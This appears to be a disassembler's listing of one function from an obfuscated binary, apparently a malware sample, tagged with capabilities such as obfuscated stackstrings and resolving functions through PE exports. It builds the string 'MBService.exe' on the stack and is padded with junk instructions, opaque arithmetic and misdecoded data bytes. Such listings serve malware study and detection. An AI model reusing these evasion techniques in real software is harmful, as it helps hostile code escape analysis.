Function at 0x437425
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210c
push ebx
push esi
push edi
push ecx
push esi
add esp, 4
xor ecx, 0x10cf1
jmp 0x4337e4
pop ecx
push esi
push edi
add esp, 4
xor esi, 0x3a76
sub esi, 0xbf70
call 0x433802
add byte [esi + 0x4a], al
dec ebp
xor al, 0x35
add esp, 4
pop esi
mov eax, 0x4d
mov word [ebp - 0x2048], ax
mov ecx, 0x42
mov word [ebp - 0x2046], cx
mov edx, 0x53
mov word [ebp - 0x2044], dx
mov eax, 0x65
mov word [ebp - 0x2042], ax
mov ecx, 0x72
mov word [ebp - 0x2040], cx
mov edx, 0x76
mov word [ebp - 0x203e], dx
mov eax, 0x69
mov word [ebp - 0x203c], ax
mov ecx, 0x63
mov word [ebp - 0x203a], cx
mov edx, 0x65
mov word [ebp - 0x2038], dx
mov eax, 0x2e
mov word [ebp - 0x2036], ax
mov ecx, 0x65
mov word [ebp - 0x2034], cx
mov edx, 0x78
mov word [ebp - 0x2032], dx
mov eax, 0x65
mov word [ebp - 0x2030], ax
xor ecx, ecx
mov word [ebp - 0x202e], cx
mov dword [ebp - 0x1060], 1
push ebx
and ebx, 0x55fb
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0xdb17
xor ebx, 0x9fea
call 0x4338dd
add byte [esi], dh
cmp byte [ebx + 0x50], al
dec edx
xor ecx, dword [eax + 0x41]
add esp, 4
sub ebx, 0xd874
pop ebx
imul edx, dword [ebp - 0x1060], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x1060], 0x70
sub edx, eax
xor edx, 0xaa6272
imul edx, dword [ebp - 0x1060]
imul ecx, dword [ebp - 0x1060], 0x70
sub edx, ecx
mov dword [ebp - 0x1064], edx
push edi
and edi, 0x1406b
pop edi
push edx
or edx, 0xd2ae
jmp 0x43392e
pop edx
push esi
push edx
add esp, 4
or esi, 0xacb9
pop esi
push edx
and edx, 0x17608
jmp 0x43394a
pop edx
mov dword [ebp - 0x10], 1
push ecx
push esi
add esp, 4
call 0x433963
add byte [esi + edi], dh
cmp dh, byte [ebx]
dec esp
cmp al, byte [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
aas
cmp byte [ebx], bh
dec edi
inc edx
inc esp
dec ebp
inc esi
add esp, 4
add ecx, 0x8f32
xor ecx, 0x3c9e
pop ecx
imul edx, dword [ebp - 0x10], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x10], 0x70
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x70
sub edx, ecx
mov dword [ebp - 0x14], edx
push edi
push ecx
add esp, 4
jmp 0x4339b3
pop edi
push esi
call 0x4339c3
add byte [esi], dh
dec edi
cmp dword [ecx + edi + 0x4e], eax
xor al, 0x4f
add esp, 4
or esi, 0x14998
sub esi, 0x39d9
xor esi, 0x7672
pop esi
push ecx
push ecx
add esp, 4
call 0x4339ea
add byte [ebx + esi], bh
xor ecx, dword [ebx + eax*2 + 0x40]
add esp, 4
pop ecx
push edi
jmp 0x4339f4
pop edi
push eax
jmp 0x4339fe
xor eax, 0x16ad7
xor eax, 0x12160
pop eax
mov dword [ebp - 0x2c], 1
push eax
push edx
add esp, 4
sub eax, 0x91ad
jmp 0x433a25
jmp 0x433a2c
sub eax, 0x148d3
pop eax
push esi
add esi, 0x8433
jmp 0x433a43
pop esi
imul edx, dword [ebp - 0x2c], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x2c], 0x70
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x70
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x433c01
mov ecx, dword [ebp - 0x1064]
mov edx, dword [ebp - 0x1060]
mov dword [ebp - 0x1634], ecx
mov dword [ebp - 0x1630], edx
push esi
call 0x433c29
add byte [edx], dh
dec ebp
dec eax
cmp al, 0x3e
inc ebx
inc ebp
inc esp
add esp, 4
pop esi
push edx
push ecx
add esp, 4
xor edx, 0x14b24
add edx, 0xc8e
or edx, 0x179f7
add edx, 0x73eb
pop edx
push ecx
sub ecx, 0x35ae
xor ecx, 0x157c3
call 0x433c65
add byte [esi + 0x3c], al
dec edi
inc ebp
inc ebx
inc eax
add esp, 4
xor ecx, 0x176a6
pop ecx
push edx
xor edx, 0x16cdf
xor edx, 0x404a
pop edx
mov eax, dword [ebp - 0x30]
add eax, 0x70
imul ecx, dword [ebp - 0x2c], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x2c], 0x70
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1e80], eax
push ecx
sub ecx, 0xae5b
add ecx, 0x169c4
call 0x433cbc
add byte [eax + 0x3c], dl
dec ebp
dec esp
cmp eax, 0x42354042
xor al, 0x83
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [esp + eax*2 + 0x37], cl
inc ebx
aas
inc ebp
dec eax
inc edx
add esp, 4
pop ecx
mov eax, dword [ebp - 0x1634]
add eax, 0x70
imul ecx, dword [ebp - 0x1630], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x1630], 0x70
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1630]
mov dword [ebp - 0x1e7c], eax
mov eax, dword [ebp - 0x1e7c]
mov dword [ebp - 0x1e84], eax
mov ecx, dword [ebp - 0x1e80]
cmp ecx, dword [ebp - 0x1e84]
jae 0x433d25
mov dword [ebp - 0x15a4], 1
jmp 0x433d2f
mov dword [ebp - 0x15a4], 0
mov dl, byte [ebp - 0x15a4]
mov byte [ebp - 0x3ad], dl
movzx eax, byte [ebp - 0x3ad]
test eax, eax
je 0x436b0e
push esi
and esi, 0xde59
pop esi
push ecx
and ecx, 0x1156b
add ecx, 0x8c40
add ecx, 0x560c
pop ecx
push esi
and esi, 0x486
xor esi, 0x4cc5
jmp 0x433d7b
pop esi
push ecx
push edx
add esp, 4
or ecx, 0x180f
and ecx, 0x6827
pop ecx
push edx
add edx, 0x914
and edx, 0x10f31
pop edx
push ecx
jmp 0x433da2
xor ecx, 0x334c
jmp 0x433dad
pop ecx
mov ecx, dword [ebp - 0x30]
add ecx, 0x70
imul edx, dword [ebp - 0x2c], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x2c], 0x70
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1e88], ecx
mov ecx, dword [ebp - 0x1e88]
mov dword [ebp - 0x1e8c], ecx
cmp dword [ebp - 0x1e8c], 0x63c1
jne 0x433f0e
push edi
xor edi, 0x225b
xor edi, 0x71d4
pop edi
push eax
call 0x433e08
add byte [edx], bh
inc eax
inc eax
cmp byte [edi], bh
dec eax
inc ebp
add esp, 4
or eax, 0x91ae
xor eax, 0xab0e
and eax, 0x6ab8
pop eax
mov edx, dword [ebp - 0x14]
add edx, 0x70
imul eax, dword [ebp - 0x10], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x10], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1e90], edx
mov edx, dword [ebp - 0x1e90]
mov dword [ebp - 0x1e94], edx
mov eax, dword [ebp - 0x1e94]
sub eax, 0x898
mov dword [ebp - 0x1e98], eax
mov dword [ebp - 0x1068], 1
push ebx
push esi
add esp, 4
and ebx, 0x17fe6
xor ebx, 0x18117
xor ebx, 0x1442d
xor ebx, 0x66d
pop ebx
push eax
and eax, 0x11eb2
sub eax, 0x62f8
or eax, 0x177ce
pop eax
imul ecx, dword [ebp - 0x1068], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x1068], 0x70
sub ecx, edx
xor ecx, dword [ebp - 0x1e98]
imul ecx, dword [ebp - 0x1068]
imul eax, dword [ebp - 0x1068], 0x70
sub ecx, eax
mov dword [ebp - 0x106c], ecx
mov ecx, dword [ebp - 0x106c]
mov edx, dword [ebp - 0x1068]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push ebx
push ebx
add esp, 4
call 0x433eed
add byte [edx], bh
xor cl, byte [eax + 0x41]
xor al, 0x36
add esp, 4
and ebx, 0x5585
call 0x433f04
add byte [ebp + 0x36], al
inc ebp
dec ebp
dec esp
xor al, 0x35
cmp al, byte [ebx - 0x3c7efb3c]
das
or eax, dword [eax]
add byte [ebx + 0x57], bl
push edi
call 0x433f1e
add byte [esi + 0x4b], cl
cmp byte [edx + 0x3e], cl
aaa
inc edx
dec ecx
add esp, 4
sub edi, 0x1655b
sub edi, 0x9bc7
call 0x433f3c
add byte [ecx + ecx*2], dh
dec edx
aaa
dec edi
dec ebx
xor eax, 0xc4834434
add al, 0x5f
mov eax, dword [ebp - 0x14]
add eax, 0x70
imul ecx, dword [ebp - 0x10], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x10], 0x70
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1e9c], eax
mov eax, dword [ebp - 0x1e9c]
mov dword [ebp - 0x1f0c], eax
lea ecx, [ebp - 0x9ac]
mov dword [ebp - 0x3e0], ecx
mov edx, dword [ebp - 0x3e0]
mov dword [edx + 4], 1
push ebx
push edx
add esp, 4
xor ebx, 0xa044
xor ebx, 0x183b3
pop ebx
push ebx
xor ebx, 0xfbbb
pop ebx
push ebx
push esi
add esp, 4
or ebx, 0x674e
add ebx, 0x1839f
or ebx, 0xb20b
pop ebx
mov eax, dword [ebp - 0x3e0]
imul ecx, dword [eax + 4], 0x70
add ecx, 0x44f3663b
mov edx, dword [ebp - 0x3e0]
imul eax, dword [edx + 4], 0x70
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3e0]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3e0]
imul edx, dword [eax + 4], 0x70
sub ecx, edx
mov eax, dword [ebp - 0x3e0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3e0]
mov dword [ebp - 0x20a0], ecx
push ebx
push edx
add esp, 4
call 0x434015
add byte [edx], dh
dec ecx
dec edx
cmp dword [ebp + 0x45], ecx
inc ebp
dec ecx
add esp, 4
sub ebx, 0x10ca4
jmp 0x434023
call 0x434030
add byte [edi], bh
inc edi
inc edx
dec edx
aas
inc esi
aaa
add esp, 4
pop ebx
mov dword [ebp - 0x15ac], 1
push edx
push edi
add esp, 4
xor edx, 0x121dc
add edx, 0x3cab
pop edx
push eax
push eax
add esp, 4
jmp 0x43405a
call 0x434066
add byte [edx + ecx*2 + 0x43], cl
dec edi
inc esp
xor eax, dword [ebx - 0x177efb3c]
pop eax
int1
add byte [eax], al
pop eax
mov dword [ebp - 0x20a4], 0x38
mov dword [ebp - 0x20a8], 0xe6
mov dword [ebp - 0x20ac], 0x6e
mov dword [ebp - 0x20b0], 0x6e
mov dword [ebp - 0x20b4], 0x78
mov dword [ebp - 0x1638], 1
push edx
or edx, 0x119fa
or edx, 0x1229d
pop edx
push eax
add eax, 0x6dee
or eax, 0x18225
pop eax
push eax
sub eax, 0xf444
pop eax
push edx
xor edx, 0xca3c
or edx, 0x7983
pop edx
imul edx, dword [ebp - 0x1638], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x1638], 0x70
sub edx, eax
xor edx, 0xe6
imul edx, dword [ebp - 0x1638]
imul ecx, dword [ebp - 0x1638], 0x70
sub edx, ecx
mov dword [ebp - 0x163c], edx
push esi
xor esi, 0xc861
jmp 0x43411d
xor esi, 0xb02e
pop esi
push ebx
add ebx, 0xdf9c
call 0x434138
add byte [ebp + 0x35], cl
cmp edi, dword [edi]
dec ebp
xor eax, 0x4c4834d
sub ebx, 0xcde9
pop ebx
push ebx
or ebx, 0x11a7d
xor ebx, 0x2be3
pop ebx
push eax
add eax, 0x39f4
or eax, 0xbed6
call 0x43416a
add byte [ecx + 0x4c], cl
dec ecx
cmp dword [0x4c4833c], esi
add eax, 0x3065
pop eax
mov edx, dword [ebp - 0x9ac]
add edx, 0x70
imul eax, dword [ebp - 0x9a8], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x9a8], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x9a8]
mov dword [ebp - 0x1ea0], edx
mov edx, dword [ebp - 0x1ea0]
mov dword [ebp - 0x1ea4], edx
mov eax, dword [ebp - 0x1ea4]
sub eax, 0x6e
mov dword [ebp - 0x1eac], eax
mov dword [ebp - 0xa74], 1
push edx
xor edx, 0x8d40
sub edx, 0xc862
xor edx, 0x307
pop edx
push edx
push ecx
add esp, 4
add edx, 0x154a2
sub edx, 0x16981
pop edx
push ebx
push esi
add esp, 4
or ebx, 0x932a
pop ebx
imul ecx, dword [ebp - 0xa74], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0xa74], 0x70
sub ecx, edx
xor ecx, dword [ebp - 0x1eac]
imul ecx, dword [ebp - 0xa74]
imul eax, dword [ebp - 0xa74], 0x70
sub ecx, eax
mov dword [ebp - 0xa78], ecx
push ecx
push edx
add esp, 4
or ecx, 0x18052
jmp 0x43423a
pop ecx
push esi
push eax
add esp, 4
jmp 0x434245
or esi, 0x11362
call 0x434258
add byte [edx + 0x39], cl
inc eax
inc ebp
add esp, 4
pop esi
mov ecx, dword [ebp - 0x9ac]
add ecx, 0x70
imul edx, dword [ebp - 0x9a8], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x9a8], 0x70
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x9a8]
mov dword [ebp - 0x1eb0], ecx
mov ecx, dword [ebp - 0x1eb0]
mov dword [ebp - 0x1eb4], ecx
mov edx, dword [ebp - 0x1eb4]
add edx, 0x38
mov dword [ebp - 0x1eb8], edx
mov dword [ebp - 0xa7c], 1
push ecx
push esi
add esp, 4
or ecx, 0x5a5b
or ecx, 0xbe76
sub ecx, 0x11483
pop ecx
push ecx
or ecx, 0x1602e
pop ecx
push edx
push esi
add esp, 4
and edx, 0x17d19
add edx, 0x47d1
pop edx
imul eax, dword [ebp - 0xa7c], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0xa7c], 0x70
sub eax, ecx
xor eax, dword [ebp - 0x1eb8]
imul eax, dword [ebp - 0xa7c]
imul edx, dword [ebp - 0xa7c], 0x70
sub eax, edx
mov dword [ebp - 0xa80], eax
push esi
xor esi, 0xd0b3
call 0x434329
add byte [eax + 0x4d], dl
dec esi
dec esi
dec esi
cmp bh, byte [edx]
inc ebx
inc edx
dec edx
add esp, 4
pop esi
push edi
push esi
add esp, 4
or edi, 0xce6d
jmp 0x43433d
sub edi, 0x9c9a
pop edi
push edx
add edx, 0x17f18
pop edx
push edi
push esi
add esp, 4
and edi, 0xb83c
or edi, 0xbf70
pop edi
push edx
push edx
add esp, 4
or edx, 0x180a9
sub edx, 0x5762
add edx, 0x600
pop edx
mov dword [ebp - 0x2f0], 1
push esi
push ecx
add esp, 4
call 0x434393
add byte [esi], bh
inc ebx
xor eax, 0x4337473f
xor eax, 0x5e04c483
push edi
push edx
add esp, 4
call 0x4343a8
add byte [eax], bh
inc edx
xor al, byte [ebp + edi + 0x4f]
add esp, 4
or edi, 0x16768
pop edi
imul eax, dword [ebp - 0x2f0], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x2f0], 0x70
sub eax, ecx
xor eax, 2
imul eax, dword [ebp - 0x2f0]
imul edx, dword [ebp - 0x2f0], 0x70
sub eax, edx
mov dword [ebp - 0x2f4], eax
push ebx
add ebx, 0x133bc
jmp 0x4343ee
jmp 0x4343f3
pop ebx
push ebx
push ebx
add esp, 4
and ebx, 0x6637
xor ebx, 0x960b
sub ebx, 0x4b17
sub ebx, 0x11ea6
pop ebx
mov eax, dword [ebp - 0x9ac]
mov ecx, dword [ebp - 0x9a8]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
jmp 0x4345e5
push ebx
push ecx
add esp, 4
add ebx, 0xec2
add ebx, 0x14e65
jmp 0x4345fe
or ebx, 0x17939
pop ebx
push edx
call 0x434613
add byte [edx + 0x44], al
inc eax
dec edx
dec ebx
xor al, 0x83
les eax, [edx + ebx*2]
mov ecx, dword [ebp - 0x278]
add ecx, 0x70
imul edx, dword [ebp - 0x274], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x274], 0x70
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x274]
mov dword [ebp - 0x1ec4], ecx
mov ecx, dword [ebp - 0x1ec4]
mov dword [ebp - 0x1ec8], ecx
cmp dword [ebp - 0x1ec8], 0
jbe 0x434b0d
push esi
push edx
add esp, 4
xor esi, 0x13953
pop esi
push esi
xor esi, 0x6482
xor esi, 0x16b4
add esi, 0xa21f
call 0x43468c
add byte [esi + 0x4c], al
dec esp
aas
dec ebx
xor eax, 0x833c3650
les eax, [esi + ebx*2]
mov edx, dword [ebp - 0x278]
add edx, 0x70
imul eax, dword [ebp - 0x274], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x274], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x274]
mov dword [ebp - 0x1ecc], edx
mov edx, dword [ebp - 0x1ecc]
mov dword [ebp - 0x1ed8], edx
push eax
jmp 0x4346cf
pop eax
push esi
push edx
add esp, 4
call 0x4346e5
add byte [ecx + eax*2 + 0x4c], al
inc edx
inc edi
cmp ecx, dword [ebp + 0x4c]
cmp eax, 0x4c48346
add esi, 0x13eb5
or esi, 0x1063c
sub esi, 0x2bb0
pop esi
mov eax, dword [ebp - 0xa78]
add eax, 0x70
imul ecx, dword [ebp - 0xa74], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0xa74], 0x70
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0xa74]
mov dword [ebp - 0x1ed0], eax
mov eax, dword [ebp - 0x1ed0]
mov dword [ebp - 0x1ed4], eax
mov ecx, dword [ebp - 0x15ac]
imul ecx, dword [ebp - 0x1ed4]
cmp dword [ebp - 0x1ed8], ecx
jne 0x4348b2
push ecx
push edx
add esp, 4
add ecx, 0x11f11
or ecx, 0x14f7d
and ecx, 0x7f6
pop ecx
push ebx
and ebx, 0x17cbc
and ebx, 0x2ea6
and ebx, 0xee6e
xor ebx, 0xf8d4
pop ebx
push edi
push edi
add esp, 4
and edi, 0x92c2
call 0x434798
add byte [ecx + 0x36], al
inc ebp
cmp edi, dword [esi]
aaa
dec ecx
add esp, 4
or edi, 0xf406
pop edi
push edx
xor edx, 0x7b34
pop edx
push ecx
and ecx, 0x18396
pop ecx
mov edx, dword [ebp - 0x2f4]
add edx, 0x70
imul eax, dword [ebp - 0x2f0], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x2f0], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x2f0]
mov dword [ebp - 0x1edc], edx
mov edx, dword [ebp - 0x1edc]
mov dword [ebp - 0x1ee0], edx
mov eax, dword [ebp - 0x1ee0]
sub eax, 1
mov dword [ebp - 0x1ee4], eax
mov dword [ebp - 0x1070], 1
push ecx
call 0x434815
add byte [edi + edi], dh
dec ecx
push eax
inc ebp
inc edi
push eax
dec ebx
xor esi, dword [edx]
add esp, 4
and ecx, 0x2277
pop ecx
push edx
push ebx
add esp, 4
add edx, 0x142d
add edx, 0x142a4
jmp 0x434835
pop edx
imul ecx, dword [ebp - 0x1070], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x1070], 0x70
sub ecx, edx
xor ecx, dword [ebp - 0x1ee4]
imul ecx, dword [ebp - 0x1070]
imul eax, dword [ebp - 0x1070], 0x70
sub ecx, eax
mov dword [ebp - 0x1074], ecx
mov ecx, dword [ebp - 0x1074]
mov edx, dword [ebp - 0x1070]
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x2f0], edx
push edx
sub edx, 0x3002
and edx, 0xdb67
and edx, 0x1be5
pop edx
push esi
push edx
add esp, 4
jmp 0x4348a1
call 0x4348ae
add byte [eax + 0x43], cl
dec esi
aaa
cmp byte [esi], dh
inc edi
add esp, 4
pop esi
push esi
call 0x4348c3
add byte [0x33374649], dh
inc eax
cmp al, 0x43
push eax
add esp, 4
xor esi, 0x319
sub esi, 0x12150
call 0x4348e0
add byte [edx + 0x44], cl
dec esp
xor al, 0x46
dec ebx
cmp eax, 0x4c4833b
pop esi
mov eax, dword [ebp - 0x278]
add eax, 0x70
imul ecx, dword [ebp - 0x274], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x274], 0x70
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x274]
mov dword [ebp - 0x1ee8], eax
mov eax, dword [ebp - 0x1ee8]
mov dword [ebp - 0x1ef4], eax
push ebx
or ebx, 0x807f
add ebx, 0xf97d
pop ebx
push eax
sub eax, 0x13260
pop eax
push ebx
sub ebx, 0x3d37
add ebx, 0x12
pop ebx
push eax
xor eax, 0x1721e
or eax, 0x5aa
pop eax
mov ecx, dword [ebp - 0xa80]
add ecx, 0x70
imul edx, dword [ebp - 0xa7c], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0xa7c], 0x70
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0xa7c]
mov dword [ebp - 0x1eec], ecx
mov ecx, dword [ebp - 0x1eec]
mov dword [ebp - 0x1ef0], ecx
mov edx, dword [ebp - 0x15ac]
push edi
push edx
add esp, 4
or edi, 0x140d8
sub edi, 0x11770
xor edi, 0x13d7f
pop edi
push ecx
sub ecx, 0x10960
and ecx, 0x12dee
sub ecx, 0x17ba4
sub ecx, 0x7463
pop ecx
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ebp - 0x2f0]
mov dword [ebp - 0x2068], ecx
mov dword [ebp - 0x2064], edx
lea eax, [ebp - 0x2068]
mov dword [ebp - 0x1f04], eax
mov ecx, dword [ebp - 0x1f04]
mov dword [ebp - 0xad0], ecx
push ecx
jmp 0x434b75
call 0x434b85
add byte [ebx + ecx*2], dh
aas
cmp byte [eax + 0x47], al
dec ebp
cmp al, 0x42
add esp, 4
call 0x434b97
add byte [esi], bh
xor al, 0x4a
inc ecx
inc ecx
inc edi
dec esp
dec edi
dec edx
add esp, 4
sub ecx, 0xc268
pop ecx
mov edx, dword [ebp - 0xad0]
mov eax, dword [edx]
add eax, 0x70
mov ecx, dword [ebp - 0xad0]
imul edx, dword [ecx + 4], 0x70
add edx, 0x44f3663b
mov ecx, dword [ebp - 0xad0]
imul ecx, dword [ecx + 4], 0x70
sub edx, ecx
xor eax, edx
mov edx, dword [ebp - 0xad0]
imul eax, dword [edx + 4]
mov dword [ebp - 0x1f08], eax
mov eax, dword [ebp - 0x1f08]
mov dword [ebp - 0x1f10], eax
mov ecx, dword [ebp - 0x1f0c]
sub ecx, dword [ebp - 0x1f10]
mov dword [ebp - 0x1f14], ecx
mov dword [ebp - 0x1080], 1
push edi
push edx
add esp, 4
call 0x434c16
add byte [edx], bh
xor bh, byte [eax]
push eax
inc esp
cmp edi, dword [esi]
push eax
dec edx
add esp, 4
xor edi, 0x1847f
pop edi
push esi
push edi
add esp, 4
and esi, 0xc4eb
pop esi
push eax
or eax, 0x98a8
pop eax
imul edx, dword [ebp - 0x1080], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x1080], 0x70
sub edx, eax
xor edx, dword [ebp - 0x1f14]
imul edx, dword [ebp - 0x1080]
imul ecx, dword [ebp - 0x1080], 0x70
sub edx, ecx
mov dword [ebp - 0x1084], edx
mov edx, dword [ebp - 0x1084]
mov eax, dword [ebp - 0x1080]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
push eax
push esi
add esp, 4
or eax, 0xad18
call 0x434c90
add byte [ebx], bh
inc edx
dec esi
cmp al, 0x4e
cmp edi, dword [ecx]
add esp, 4
pop eax
push edi
and edi, 0x1262
xor edi, 0x11342
pop edi
push ebx
or ebx, 0x475e
pop ebx
push ebx
call 0x434cb8
add byte [ebp + 0x47], cl
xor eax, 0x504d4450
add esp, 4
jmp 0x434cc1
xor ebx, 0x13576
pop ebx
push eax
and eax, 0x1011b
or eax, 0xff63
xor eax, 0x12779
pop eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x70
imul edx, dword [ebp - 0x10], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x10], 0x70
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x10]
mov dword [ebp - 0x1f18], ecx
mov ecx, dword [ebp - 0x1f18]
mov dword [ebp - 0x1f84], ecx
lea edx, [ebp - 0x9b4]
mov dword [ebp - 0x3e4], edx
mov eax, dword [ebp - 0x3e4]
mov dword [eax + 4], 1
push esi
sub esi, 0x5ced
or esi, 0x12a3b
pop esi
push edi
push edi
add esp, 4
and edi, 0x5b83
or edi, 0x94e
pop edi
push edx
push eax
add esp, 4
or edx, 0x181e0
sub edx, 0x8d83
pop edx
mov ecx, dword [ebp - 0x3e4]
imul edx, dword [ecx + 4], 0x70
add edx, 0x44f3663b
mov eax, dword [ebp - 0x3e4]
imul ecx, dword [eax + 4], 0x70
sub edx, ecx
xor edx, 0x19
mov eax, dword [ebp - 0x3e4]
imul edx, dword [eax + 4]
mov ecx, dword [ebp - 0x3e4]
imul eax, dword [ecx + 4], 0x70
sub edx, eax
mov ecx, dword [ebp - 0x3e4]
mov dword [ecx], edx
mov edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x20b8], edx
push eax
add eax, 0x17085
add eax, 0x13a15
pop eax
push edi
push ecx
add esp, 4
add edi, 0xad94
xor edi, 0x5ddd
call 0x434dcc
add byte [edi], dh
inc ebp
cmp al, 0x45
inc eax
dec edx
dec ebp
inc ebp
cmp byte [ebx - 0x38a0fb3c], al
test dword [edx + ebp*8 - 1], ecx
inc dword [ecx]
add byte [eax], al
add byte [edx + 0x50], dl
add esp, 4
xor edx, 0xf448
xor edx, 0x4514
sub edx, 0xab0e
or edx, 0x608
pop edx
push ecx
xor ecx, 0x10135
and ecx, 0xa054
or ecx, 0x1802e
pop ecx
mov dword [ebp - 0x20bc], 0x38
mov dword [ebp - 0x20c0], 0xe6
mov dword [ebp - 0x20c4], 0x6e
mov dword [ebp - 0x20c8], 0x6e
mov dword [ebp - 0x20cc], 0x78
mov dword [ebp - 0x1648], 1
push esi
call 0x434e58
add byte [edi], dh
inc ecx
dec eax
xor bh, byte [esi + edi]
aas
dec edx
add esp, 4
call 0x434e6a
add byte [ebp + 0x40], al
push eax
aas
dec ebx
inc eax
xor esi, dword [ecx + ecx*2]
add esp, 4
add esi, 0x17b23
and esi, 0x6a08
pop esi
imul eax, dword [ebp - 0x1648], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x1648], 0x70
sub eax, ecx
xor eax, 0xe6
imul eax, dword [ebp - 0x1648]
imul edx, dword [ebp - 0x1648], 0x70
sub eax, edx
mov dword [ebp - 0x164c], eax
push esi
push edx
add esp, 4
or esi, 0xbe99
into
cdq
mov esi, 0xce810000
sahf
in al, 0
add byte [esi + 0x52], bl
push eax
add esp, 4
jmp 0x434ec7
jmp 0x434ecf
xor edx, 0x99d5
or edx, 0x37ea
pop edx
push esi
push ecx
add esp, 4
add al, 0xe8
or byte [eax], al
add byte [eax], al
add byte [eax], bh
cmp dword [eax], edi
cmp al, 0x4e
inc ecx
inc edx
add esp, 4
add al, 0x81
into
cmc
mov dword [eax], eax
add al, ch
or byte [eax], al
add byte [eax], al
add byte [esi + 0x3e], cl
xor eax, 0x46384241
add esp, 4
and esi, 0x103b3
pop esi
mov eax, dword [ebp - 0x9b4]
add eax, 0x70
imul ecx, dword [ebp - 0x9b0], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x9b0], 0x70
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x9b0]
mov dword [ebp - 0x1f1c], eax
mov eax, dword [ebp - 0x1f1c]
mov dword [ebp - 0x1f20], eax
mov ecx, dword [ebp - 0x1f20]
sub ecx, 0x6e
mov dword [ebp - 0x1f24], ecx
mov dword [ebp - 0xa84], 1
push edx
push eax
add esp, 4
or edx, 0x1061e
xor edx, 0xfb5d
xor edx, 0x7f3d
xor edx, 0xfff8
pop edx
push edx
or edx, 0x17898
jmp 0x434f8c
or edx, 0x5397
pop edx
imul edx, dword [ebp - 0xa84], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0xa84], 0x70
sub edx, eax
xor edx, dword [ebp - 0x1f24]
invalid
mov dword [ebp - 0x3f0], 0
call 0x436b1d
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3f0], eax
push edi
push edx
add esp, 4
call 0x436b3a
add byte [edi], bh
cmp eax, 0x35434f45
add esp, 4
pop edi
push edi
add edi, 0xeb34
jmp 0x436b4e
pop edi
push edi
push eax
add esp, 4
xor edi, 0xbcae
pop edi
mov ecx, dword [ebp - 0x20e8]
mov dword [ebp - 0x15c0], ecx
push eax
call 0x436b78
add byte [ebp + 0x34], al
xor edi, dword [esi + eax*2]
inc edx
inc ebx
dec ebp
inc ebp
xor al, byte [ebx - 0x1f7efb3c]
or dword [ecx], edx
add byte [eax + 0x51], bl
push ecx
add esp, 4
jmp 0x436b8c
xor ecx, 0xfbef
sub ecx, 0x3ffa
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x70
imul eax, dword [ebp - 0x10], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x10], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x15c0], edx
mov edx, dword [ebp - 0x3f0]
